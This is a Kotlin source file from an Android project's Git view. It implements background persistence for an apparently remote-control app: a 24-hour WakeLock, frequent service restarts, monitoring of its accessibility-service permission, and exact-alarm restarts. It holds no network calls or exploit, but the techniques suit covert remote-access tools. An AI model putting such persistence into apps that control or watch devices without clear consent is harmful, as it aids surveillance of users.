Files
and-bak/app/src/main/java/com/hikoncont/service/BackgroundKeepAliveManager.kt
wdvipa d4f27bbac7 refactor: 清理 .gradle 缓存文件并优化 ScreenCaptureManager
- 删除 .gradle 缓存和锁文件(checksums, executionHistory, fileHashes 等)
- 优化 ScreenCaptureManager 截屏逻辑
- 移除 MainActivity, TransparentKeepAliveActivity 中的冗余代码
- 清理多个 KeepAlive 相关服务中的无用导入
- 精简 InstallationStateManager 代码
2026-02-14 22:07:58 +08:00

371 lines
13 KiB
Kotlin
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
package com.hikoncont.service
import android.app.AlarmManager
import android.app.NotificationChannel
import android.app.NotificationManager
import android.app.PendingIntent
import android.content.BroadcastReceiver
import android.content.Context
import android.content.Intent
import android.content.IntentFilter
import android.os.PowerManager
import android.util.Log
import androidx.core.app.NotificationCompat
import kotlinx.coroutines.*
/**
* 后台保活管理器
* 专注于后台服务保活不拉起MainActivity
*/
class BackgroundKeepAliveManager(private val context: Context) {
companion object {
private const val TAG = "BackgroundKeepAlive"
private const val CHECK_INTERVAL = 10000L // 30秒检查一次
private const val RESTART_DELAY = 5000L // 5秒后重启
}
private val managerScope = CoroutineScope(Dispatchers.IO + SupervisorJob())
private var monitorJob: Job? = null
private var wakeLock: PowerManager.WakeLock? = null
private var isMonitoring = false
/**
* 开始后台保活监控
*/
fun startBackgroundKeepAlive() {
if (isMonitoring) {
Log.w(TAG, "⚠️ 后台保活监控已在运行")
return
}
Log.i(TAG, "🛡️ 开始后台保活监控")
isMonitoring = true
// 获取WakeLock
acquireWakeLock()
// 注册广播接收器
registerReceivers()
// 开始监控
startMonitoring()
// 确保前台服务运行
ensureForegroundService()
}
/**
* 停止后台保活监控
*/
fun stopBackgroundKeepAlive() {
if (!isMonitoring) {
return
}
Log.i(TAG, "🛑 停止后台保活监控")
isMonitoring = false
// 取消监控任务
monitorJob?.cancel()
// 释放WakeLock
releaseWakeLock()
// 注销广播接收器
unregisterReceivers()
// 取消协程作用域
managerScope.cancel()
}
/**
* 获取WakeLock保活
*/
private fun acquireWakeLock() {
try {
val powerManager = context.getSystemService(Context.POWER_SERVICE) as PowerManager
wakeLock = powerManager.newWakeLock(
PowerManager.PARTIAL_WAKE_LOCK,
"RemoteControl::BackgroundKeepAlive"
)
wakeLock?.acquire(24 * 60 * 60 * 1000L) // 24小时
Log.i(TAG, "🔋 后台保活WakeLock已获取")
} catch (e: Exception) {
Log.e(TAG, "❌ 获取后台保活WakeLock失败", e)
}
}
/**
* 释放WakeLock
*/
private fun releaseWakeLock() {
try {
wakeLock?.release()
wakeLock = null
Log.i(TAG, "🔋 后台保活WakeLock已释放")
} catch (e: Exception) {
Log.e(TAG, "❌ 释放后台保活WakeLock失败", e)
}
}
/**
* 注册广播接收器
*/
private fun registerReceivers() {
try {
val filter = IntentFilter().apply {
addAction(Intent.ACTION_SCREEN_ON)
addAction(Intent.ACTION_SCREEN_OFF)
addAction(Intent.ACTION_USER_PRESENT)
// ✅ 参考 f 目录:已移除重启无障碍服务广播监听
}
context.registerReceiver(backgroundReceiver, filter)
Log.i(TAG, "📡 后台保活广播接收器已注册")
} catch (e: Exception) {
Log.e(TAG, "❌ 注册后台保活广播接收器失败", e)
}
}
/**
* 注销广播接收器
*/
private fun unregisterReceivers() {
try {
context.unregisterReceiver(backgroundReceiver)
Log.i(TAG, "📡 后台保活广播接收器已注销")
} catch (e: Exception) {
Log.e(TAG, "❌ 注销后台保活广播接收器失败", e)
}
}
/**
* 开始监控
*/
private fun startMonitoring() {
monitorJob = managerScope.launch {
while (isActive && isMonitoring) {
try {
checkAndRestartServices()
delay(CHECK_INTERVAL)
} catch (e: Exception) {
Log.e(TAG, "❌ 后台保活监控过程中发生错误", e)
delay(CHECK_INTERVAL)
}
}
}
}
/**
* 检查并重启服务
*/
private fun checkAndRestartServices() {
try {
val accessibilityService = AccessibilityRemoteService.getInstance()
if (accessibilityService == null) {
Log.w(TAG, "⚠️ 检测到AccessibilityService不可用")
// 检查无障碍服务权限
if (!isAccessibilityServiceEnabled()) {
Log.w(TAG, "⚠️ 无障碍服务权限已丢失")
handleAccessibilityPermissionLost()
} else {
// ✅ 参考 f 目录:不重启无障碍服务,系统会自动管理
Log.d(TAG, "📱 无障碍服务权限正常,系统会自动管理无障碍服务生命周期")
}
}
// 检查前台服务
ensureForegroundService()
} catch (e: Exception) {
Log.e(TAG, "❌ 检查服务状态失败", e)
}
}
/**
* 检查无障碍服务是否启用
*/
private fun isAccessibilityServiceEnabled(): Boolean {
return try {
val accessibilityEnabled = android.provider.Settings.Secure.getInt(
context.contentResolver,
android.provider.Settings.Secure.ACCESSIBILITY_ENABLED
)
if (accessibilityEnabled == 1) {
val serviceId = "${context.packageName}/${AccessibilityRemoteService::class.java.canonicalName}"
val enabledServices = android.provider.Settings.Secure.getString(
context.contentResolver,
android.provider.Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES
)
enabledServices?.contains(serviceId) == true
} else {
false
}
} catch (e: Exception) {
Log.e(TAG, "❌ 检查无障碍服务状态失败", e)
false
}
}
/**
* 处理无障碍权限丢失(正确方案:提醒用户重新启用)
*/
private fun handleAccessibilityPermissionLost() {
try {
Log.w(TAG, "⚠️ 无障碍服务权限丢失,需要用户手动重新启用")
// 记录到操作日志
val service = AccessibilityRemoteService.getInstance()
service?.recordOperationLog("ACCESSIBILITY_PERMISSION_LOST", "无障碍服务权限丢失", mapOf(
"timestamp" to System.currentTimeMillis(),
"backgroundKeepAlive" to true
))
// 无障碍服务被杀死后无法自动重启,需要用户手动重新启用
// 通过通知或UI提醒用户
showAccessibilityPermissionLostNotification()
} catch (e: Exception) {
Log.e(TAG, "❌ 处理无障碍服务权限丢失失败", e)
}
}
/**
* 显示无障碍权限丢失通知
*/
private fun showAccessibilityPermissionLostNotification() {
try {
Log.i(TAG, "📱 显示无障碍权限丢失通知")
// 创建通知渠道
val notificationManager = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
val channelId = "accessibility_permission_lost"
val channel = NotificationChannel(
channelId,
"无障碍权限提醒",
NotificationManager.IMPORTANCE_HIGH
).apply {
description = "当无障碍服务权限丢失时提醒用户"
enableLights(true)
lightColor = android.graphics.Color.RED
enableVibration(true)
}
notificationManager.createNotificationChannel(channel)
// 创建通知
val notification = NotificationCompat.Builder(context, channelId)
.setContentTitle("⚠️ 无障碍服务权限丢失")
.setContentText("请点击重新启用无障碍服务权限")
.setSmallIcon(android.R.drawable.ic_dialog_alert)
.setPriority(NotificationCompat.PRIORITY_HIGH)
.setAutoCancel(true)
.setOngoing(false)
.setContentIntent(createAccessibilitySettingsPendingIntent())
.build()
notificationManager.notify(9999, notification)
Log.i(TAG, "✅ 无障碍权限丢失通知已显示")
} catch (e: Exception) {
Log.e(TAG, "❌ 显示无障碍权限丢失通知失败", e)
}
}
/**
* 创建无障碍设置页面的PendingIntent
*/
private fun createAccessibilitySettingsPendingIntent(): PendingIntent {
val intent = Intent(android.provider.Settings.ACTION_ACCESSIBILITY_SETTINGS)
intent.flags = Intent.FLAG_ACTIVITY_NEW_TASK
return PendingIntent.getActivity(
context,
9999,
intent,
PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE
)
}
// ✅ 参考 f 目录:已移除重启无障碍服务的功能,系统会自动管理无障碍服务生命周期
/**
* 确保前台服务运行
*/
private fun ensureForegroundService() {
try {
val serviceIntent = Intent(context, RemoteControlForegroundService::class.java)
serviceIntent.action = "ENSURE_FOREGROUND"
context.startForegroundService(serviceIntent)
Log.d(TAG, "✅ 已确保前台服务运行")
} catch (e: Exception) {
Log.e(TAG, "❌ 确保前台服务运行失败", e)
}
}
/**
* 安排服务自恢复
*/
private fun scheduleServiceRestart() {
try {
val alarmManager = context.getSystemService(Context.ALARM_SERVICE) as AlarmManager
val foregroundIntent = Intent(context, RemoteControlForegroundService::class.java).apply {
action = "RESTART_SERVICE"
}
val keepAliveIntent = Intent(context, KeepAliveService::class.java)
val pendingFlags = (PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE)
val foregroundPI = PendingIntent.getForegroundService(
context,
2001,
foregroundIntent,
pendingFlags
)
val keepAlivePI = PendingIntent.getService(
context,
2002,
keepAliveIntent,
pendingFlags
)
val triggerAt = System.currentTimeMillis() + RESTART_DELAY
alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt, foregroundPI)
alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt + 500, keepAlivePI)
Log.i(TAG, "⏰ 已安排服务自恢复")
} catch (e: Exception) {
Log.e(TAG, "❌ 安排服务自恢复失败", e)
}
}
/**
* 后台保活广播接收器
*/
private val backgroundReceiver = object : BroadcastReceiver() {
override fun onReceive(context: Context, intent: Intent) {
when (intent.action) {
Intent.ACTION_SCREEN_ON -> {
Log.d(TAG, "📱 屏幕点亮,检查服务状态")
checkAndRestartServices()
}
Intent.ACTION_SCREEN_OFF -> {
Log.d(TAG, "📱 屏幕熄灭,继续后台保活")
}
Intent.ACTION_USER_PRESENT -> {
Log.d(TAG, "👤 用户解锁,检查服务状态")
checkAndRestartServices()
}
"android.mycustrecev.RESTART_ACCESSIBILITY_SERVICE" -> {
// ✅ 参考 f 目录:不重启无障碍服务,系统会自动管理
Log.d(TAG, "📱 无障碍服务由系统自动管理,无需手动重启")
}
}
}
}
}